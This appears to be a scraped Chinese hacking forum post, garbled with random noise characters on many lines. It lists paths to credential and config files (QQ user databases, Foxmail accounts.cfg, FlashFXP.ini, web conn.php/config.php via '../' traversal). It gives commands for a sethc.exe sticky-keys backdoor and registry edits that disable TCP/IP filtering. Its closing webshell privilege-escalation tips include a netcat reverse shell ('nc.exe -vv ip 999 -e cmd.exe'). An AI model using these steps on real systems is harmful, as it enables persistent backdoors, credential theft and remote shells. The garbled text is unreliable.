c:\program files\tomcat6\bin\version.sh
) j1 i; K: H: I! DC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
) F+ |3 Z$ ~2 R8 T0 t  wc:\Apache2\bin\Apache.exe
! J) V- y/ k- i7 `+ Xc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
# P0 L- W$ m" y$ z7 P" ?  oc:\Program Files\Tencent\qq\bin\qq.exe
( N" t* d7 |9 b4 b4 a7 ~. ic:\Program Files\Tencent\qq2009\qq.exe
% n3 H- e: [( w. y$ Nc:\Program Files\Tencent\qq2008\qq.exe
$ H+ R% ~* Z  E2 c2 K) E$ X, y* u3 L/ [c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
4 j  B6 l/ Y+ N5 F+ RC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
' _, C6 ]) o* R; m, Bc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
& z5 l* i( x5 Z) x) gC:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
: S1 K4 [9 V" `- j% r7 KC:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
/ `/ p' @2 F/ I7 ~( |( \C:\Program Files\LeapFTP\LeapFTP.exe
+ ]- B0 d* o* j; \2 W; E; Dc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
8 b$ n  l' Z# R( r0 G5 a, d7 |* eC:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
9 ]  V+ k5 i6 H- |. m; pc:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
- `5 P$ l; g1 ^9 {( T( p+ _c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
5 Z7 D. y; \6 ~( V% |% d5 MC:\Program Files\StormII\Storm.exe

3.网站相对路径:
0 H( F: G. S$ n, C. S, I" E/ a
/config.php
' m8 b- g3 q" e4 A9 i, G../../config.php
../config.php
# @3 n6 X  Y& d3 p# v../../../config.php
/config.inc.php
. ?  x$ D( L" X2 T( Q3 r./config.inc.php
../../config.inc.php
9 V/ n9 y2 Y2 ]+ J- |3 v( E2 D8 R7 k../config.inc.php
../../../config.inc.php
/conn.php
./conn.php
2 {; x$ {' v% G! y" g& Q5 u../../conn.php
../conn.php
9 g# j' Z' A& o2 i! J../../../conn.php
9 Z3 |% K# W; O0 \! C/conn.asp
./conn.asp
0 K) f6 @- ~2 g. d: T- |../../conn.asp
../conn.asp
../../../conn.asp
4 R) O: z: j$ m7 @/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
2 N( f; u& I4 s& _5 K. z/config/config.php
$ G; ~; P& m/ o2 N1 x; F/ o" s) f../../config/config.php
../config/config.php
../../../config/config.php
/config/config.inc.php
$ b& w& e1 ]: q, `" H) r& C" Q% Z./config/config.inc.php
# V5 K$ d- R3 @( G../../config/config.inc.php
; s' ~: X3 z4 q) x; d0 }../config/config.inc.php
, s3 ?4 V: o% [* p../../../config/config.inc.php
/config/conn.php
, C, ]) y  f* z4 H- f/ Q6 |: A./config/conn.php
" j  _  i% ~& k- E% `../../config/conn.php
/ f% r8 Y9 Q+ E0 c# D- n../config/conn.php
1 F- n+ ]; ~# o* N/ ~- d../../../config/conn.php
/config/conn.asp
./config/conn.asp
5 X; Y7 D; U* B# h& r8 j../../config/conn.asp
. w2 h6 e3 K2 I" e! m: V$ F../config/conn.asp
../../../config/conn.asp
! N$ O! ?" t9 O& E) p. Z/ l. F/config/config.inc.php
; o" z2 G1 Z7 O+ H- x# X./config/config.inc.php
../../config/config.inc.php
4 V& J, q2 J' O+ e) n* L5 U../config/config.inc.php
/ N8 ^' H$ i) r+ W# r3 D1 Z2 D5 e../../../config/config.inc.php
/data/config.php
../../data/config.php
../data/config.php
../../../data/config.php
8 R! x( b9 |0 X+ c/data/config.inc.php
% z. k8 j) p& ?+ ~: p./data/config.inc.php
4 U9 m; [  p* f../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
8 x; ?: I1 E; [8 W8 n* W8 S/data/conn.php
% o2 _( f1 X& v, U& a./data/conn.php
../../data/conn.php
../data/conn.php
4 d4 |; u1 j- Q- y0 C! Z' s../../../data/conn.php
" v0 a& M2 U* \8 H/data/conn.asp
./data/conn.asp
../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
7 M  m& ]" B& v3 Z/ X( E./data/config.inc.php
& n  ?: u2 R+ f. H- a../../data/config.inc.php
5 N( X% M( {: o* G7 E../data/config.inc.php
../../../data/config.inc.php
/include/config.php
1 C- Z* i: E2 a2 o5 }# b../../include/config.php
  R/ O5 e- u$ Q8 d0 e* \% r../include/config.php
+ z+ ]7 y- p  `, N, C../../../include/config.php
/include/config.inc.php
./include/config.inc.php
+ t9 ~7 z3 C% t../../include/config.inc.php
../include/config.inc.php
: K. U, E4 R6 P/ b1 I../../../include/config.inc.php
5 T9 H4 e" h, T7 g, k/include/conn.php
' a8 b; P) [; k% v" T; z7 l./include/conn.php
( a& D! |1 W. F% N7 B7 u../../include/conn.php
../include/conn.php
../../../include/conn.php
8 f# c) T9 U* Y: _/include/conn.asp
9 K) f0 x. W1 c  a# o./include/conn.asp
../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
* j# I4 i$ m# X9 v: o" K/ k/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
+ o, v$ L/ Y8 ~& l../include/config.inc.php
; C( A* y' F; N  L9 }7 v2 Z% ^../../../include/config.inc.php
( N" o( I: d6 N9 b, ]/inc/config.php
../../inc/config.php
../inc/config.php
9 _0 N0 s. A% |! c, v../../../inc/config.php
* k/ H3 n4 P7 ?, ~5 M1 {( T/inc/config.inc.php
, _/ N# l; n) B# c' j4 q9 m./inc/config.inc.php
" p4 f5 }, j  Z* o; \../../inc/config.inc.php
../inc/config.inc.php
+ }$ U3 e! a" m6 }9 w../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
../../inc/conn.php
& G1 y4 D$ ]' `- m* `../inc/conn.php
../../../inc/conn.php
' n0 \1 ?& T" C5 L5 r/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
$ C) m8 ~0 l. Q  t& E../inc/conn.asp
2 f; P( u5 C# Q# C6 E../../../inc/conn.asp
0 i# Q4 P, {/ w- `( i' I/inc/config.inc.php
/ _2 B7 U: B2 d5 _- V) F./inc/config.inc.php
: y" n8 _7 U3 v( |../../inc/config.inc.php
- P  d# D7 I  D! G- l& a../inc/config.inc.php
../../../inc/config.inc.php
1 d) P) x- q$ X. H& K/index.php
0 ~1 h% s1 ]; e./index.php
0 c' q1 j% M' x/ B$ t../../index.php
../index.php
1 J2 T8 M! ]. d4 B../../../index.php
/index.asp
+ {; m8 @% Z: ]% S3 w# [" S./index.asp
../../index.asp
../index.asp
../../../index.asp
/ @2 t' _+ r) w替换SHIFT后门
& X7 H5 V. d. r/ y/ B& U　attrib c:\windows\system32\sethc.exe -h -r -s
3 d& ?/ o2 _  ~7 X/ t/ @
# z) S: l: R' |1 O# e5 K　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
5 J3 H* P, {% n. R
　　del c:\windows\system32\sethc.exe

% w% C$ g: e2 I! ]$ ?　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

/ A8 R) d' B; F$ }; r　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
5 N0 s6 ~2 A& [/ e' J1 Q7 k
　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
9 o% t2 c+ Q7 D) b% N2 D去除TCPIP筛选
9 p; ]& G8 G" @4 D& `# k7 xTCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
4 A8 U  h, t" t; @3 z+ o" \regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
* c$ d# n" F, z. f. Z, W8 c; \/ N6 gregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
% H4 }; l( B5 ?regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项
" s- s, y3 G2 t" e' l& _
  E0 r+ ~2 e) T$ g" t然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
5 B* b! D$ L7 q/ ~! u/ o/ i3 l1 H
再将以上三个文件分别用
regedit -s D:\a.reg
regedit -s D:\b.reg
+ K# l. X  r; V3 E1 p7 Hregedit -s D:\c.reg
导入注册表即可

webshell提权小技巧
cmd路径:
c:\windows\temp\cmd.exe
& K8 E- w/ @0 e; S. \nc也在同目录下
例如反弹cmdshell：
( q! U% c. o/ {5 b$ I"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
. Y, k# `) i& K
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
# s& \4 a0 G: }& Y5 O3 c8 ?命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
% e( j5 h3 S, L却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功